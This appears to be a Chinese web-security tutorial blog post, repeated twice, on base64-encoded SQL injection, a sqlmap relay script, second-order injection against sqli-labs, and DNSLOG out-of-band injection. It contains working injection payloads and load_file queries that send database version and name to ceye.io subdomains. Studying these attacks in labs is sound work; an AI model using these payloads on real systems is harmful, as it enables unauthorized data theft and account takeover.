十七.WEB 漏洞-二次,加解密,DNS 等注入
2022年 04月 21 日

BIGFISH

img

加解密注入

知识点

  • 即get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务器
  • 一般加密大多都是base64加密
  • MQ== (base64解密为1)
  • inurl:id=MQ==
  • 现实中许多网站中都有加密

例如

案例:sql-libs–21
  • 其中%3D为url编码2,实则 为 = ,前面的为base64
  • 对YWRtaW4= 进行解密 得到值 admin
  • 请添加图片描述
  • 我们可以尝试在这里进行注入,将注入的sql语句经过base64加密之后放入cookie
  • 注入语句::uname=x' or updatexml(1,concat(0x7e,(version())),0)or'
  • 加密后注入语句:YWRtaW4nICBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwodmVyc2lvbigpKSksMCkgb3IgJw==

中转注入

  • 实现了一个中转,sqlmap在后面写入注入代码,通过GET参数去访问本地网页,然后本地网页把sqlmap提交的GET参数的内容进行base64加密,并且在目标网址后面进行拼接。从而达到非手工base64注入
  • 如果网站注入点为base64编码可以如此,若为其他,可以修改base64_decode
  • 加解密注入的时候可以自己写脚本,通过sqlmap注入
  • 在这里插入图片描述
  • 在这里插入图片描述
  • 首先在本地搭建一个网站,将上述代码写入其中
  • 然后再进行sqlmap注入
    • sqlmap -u ‘http://192.168.48.134/test.php/?x=’如此进行攻击实际上攻击的为www.xxx.com/?id=x
  • 代码:
    • [blockquote2 name='解密网页提取转换']<?php
      $url='http://xxxx/job_bystjb/yjs_byszjs.asp?id=';
      $payload=base64_encode($_GET['x']);
      echo $payload;
      $urls=$url.$payload;
      file_get_contents($urls);
      echo $urls;
      ?>[/blockquote2]

二次注入

知识点

  • 请添加图片描述
  • 二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
  • 实战情况需要搭配源码进行代码审计,扫描工具是扫不出来的!
  • 利用注册用户等插入语句,将恶意代码插入数据库中,再执行查询等语句,将恶意代码与sql语句进行拼接执行,从而达到注入的目的。

原理

  • 当用户注册了一个用户名为admin’ and 1=1–+类似的语句,在注册时sql语句进行了单引号过滤,没有报错,写入数据库中。但当用户想修改用户名时,修改的sql语句update没有进行过滤,导致单引号闭合。就会产生注入
  • 在这里插入图片描述
  • 如注册代码:
    • 请添加图片描述
    • 修改密码时,预先存入的数据(‘#)在进行数据拼接的时,把后面的语句注释掉了!
  • 也可以爆数据库版本如:在
    • 请添加图片描述
    • 实际中会对用户名长度进行限制,前端限制(自行修改突破)后端限制就G了

步骤

  • 第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
  • 第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。

案例演示sqli-libs–24

  • 进入以后需要注册用户
  • 我们已知有一个用户admin,可以根据二次注入的思想,我们可以创建一个admin’#的用户,密码123456,之后可以进行更改密码等操作,那原来的SQL语句可能为
  • update password=$new where username=$name and .....
  • 填入参数后
  • update user set pwd='123456' where username='admin'#'
  • 登录admin’#,进行修改密码操作,将密码修改为111111
  • 尝试使用admin用户,密码123456登录
  • 成功登录进去,我们在分析查看php源码
    • 请添加图片描述
    • 与我们分析的一样
    • $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

DNSLOG带外注入

知识点

  • dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据。
  • 带外注入是为了解决一些注入没有回显,也不能进行时间盲注的情况。
  • dnslog要有高权限,具有文件读写的权限才能进行,需要登陆CEYE平台
  • 简单理解就是将查询出来的东西发送到这个CEYE上
  • load_file函数可以进行对外的读取。
    • 因为自己写入的是一个dns地址,当select语句查询出当前版本号后,就会尝试对dns地址进行访问,然后CYEC就会记录下访问的信息。从而爆出版本号

dnslog工具

  • CEYE平台:http://ceye.io/
    • 在这里插入图片描述
  • https://github.com/ADOOO/DnslogSqlinj
    • 请添加图片描述

注入语句

  • id =1 and if((select load_file(concat('\\\\',(select version()),'.yps772.ceye.io\\abc'))),1,0、
  • select * from users where id=1 and if((select load_file(concat(’\\’,(select version()),’.jepxiv.ceye.io\abc’))),1,0);
  • select * from users where id=1 and if((select load_file(concat(’\\’,(select database()),’.jepxiv.ceye.io\abc’))),1,0);

十七.WEB 漏洞-二次,加解密,DNS 等注入

img

加解密注入

知识点

  • 即get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务器
  • 一般加密大多都是base64加密
  • MQ== (base64解密为1)
  • inurl:id=MQ==
  • 现实中许多网站中都有加密

例如

案例:sql-libs–21
  • 其中%3D为url编码2,实则 为 = ,前面的为base64
  • 对YWRtaW4= 进行解密 得到值 admin
  • 请添加图片描述
  • 我们可以尝试在这里进行注入,将注入的sql语句经过base64加密之后放入cookie
  • 注入语句::uname=x' or updatexml(1,concat(0x7e,(version())),0)or'
  • 加密后注入语句:YWRtaW4nICBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwodmVyc2lvbigpKSksMCkgb3IgJw==

中转注入

  • 实现了一个中转,sqlmap在后面写入注入代码,通过GET参数去访问本地网页,然后本地网页把sqlmap提交的GET参数的内容进行base64加密,并且在目标网址后面进行拼接。从而达到非手工base64注入
  • 如果网站注入点为base64编码可以如此,若为其他,可以修改base64_decode
  • 加解密注入的时候可以自己写脚本,通过sqlmap注入
  • 在这里插入图片描述
  • 在这里插入图片描述
  • 首先在本地搭建一个网站,将上述代码写入其中
  • 然后再进行sqlmap注入
    • sqlmap -u ‘http://192.168.48.134/test.php/?x=’如此进行攻击实际上攻击的为www.xxx.com/?id=x
  • 代码:
    • [blockquote2 name='解密网页提取转换']<?php
      $url='http://xxxx/job_bystjb/yjs_byszjs.asp?id=';
      $payload=base64_encode($_GET['x']);
      echo $payload;
      $urls=$url.$payload;
      file_get_contents($urls);
      echo $urls;
      ?>[/blockquote2]

二次注入

知识点

  • 请添加图片描述
  • 二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
  • 实战情况需要搭配源码进行代码审计,扫描工具是扫不出来的!
  • 利用注册用户等插入语句,将恶意代码插入数据库中,再执行查询等语句,将恶意代码与sql语句进行拼接执行,从而达到注入的目的。

原理

  • 当用户注册了一个用户名为admin’ and 1=1–+类似的语句,在注册时sql语句进行了单引号过滤,没有报错,写入数据库中。但当用户想修改用户名时,修改的sql语句update没有进行过滤,导致单引号闭合。就会产生注入
  • 在这里插入图片描述
  • 如注册代码:
    • 请添加图片描述
    • 修改密码时,预先存入的数据(‘#)在进行数据拼接的时,把后面的语句注释掉了!
  • 也可以爆数据库版本如:在
    • 请添加图片描述
    • 实际中会对用户名长度进行限制,前端限制(自行修改突破)后端限制就G了

步骤

  • 第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
  • 第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。

案例演示sqli-libs–24

  • 进入以后需要注册用户
  • 我们已知有一个用户admin,可以根据二次注入的思想,我们可以创建一个admin’#的用户,密码123456,之后可以进行更改密码等操作,那原来的SQL语句可能为
  • update password=$new where username=$name and .....
  • 填入参数后
  • update user set pwd='123456' where username='admin'#'
  • 登录admin’#,进行修改密码操作,将密码修改为111111
  • 尝试使用admin用户,密码123456登录
  • 成功登录进去,我们在分析查看php源码
    • 请添加图片描述
    • 与我们分析的一样
    • $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

DNSLOG带外注入

知识点

  • dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据。
  • 带外注入是为了解决一些注入没有回显,也不能进行时间盲注的情况。
  • dnslog要有高权限,具有文件读写的权限才能进行,需要登陆CEYE平台
  • 简单理解就是将查询出来的东西发送到这个CEYE上
  • load_file函数可以进行对外的读取。
    • 因为自己写入的是一个dns地址,当select语句查询出当前版本号后,就会尝试对dns地址进行访问,然后CYEC就会记录下访问的信息。从而爆出版本号

dnslog工具

  • CEYE平台:http://ceye.io/
    • 在这里插入图片描述
  • https://github.com/ADOOO/DnslogSqlinj
    • 请添加图片描述

注入语句

  • id =1 and if((select load_file(concat('\\\\',(select version()),'.yps772.ceye.io\\abc'))),1,0、
  • select * from users where id=1 and if((select load_file(concat(’\\’,(select version()),’.jepxiv.ceye.io\abc’))),1,0);
  • select * from users where id=1 and if((select load_file(concat(’\\’,(select database()),’.jepxiv.ceye.io\abc’))),1,0);

赞 (0)

猜您想看

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论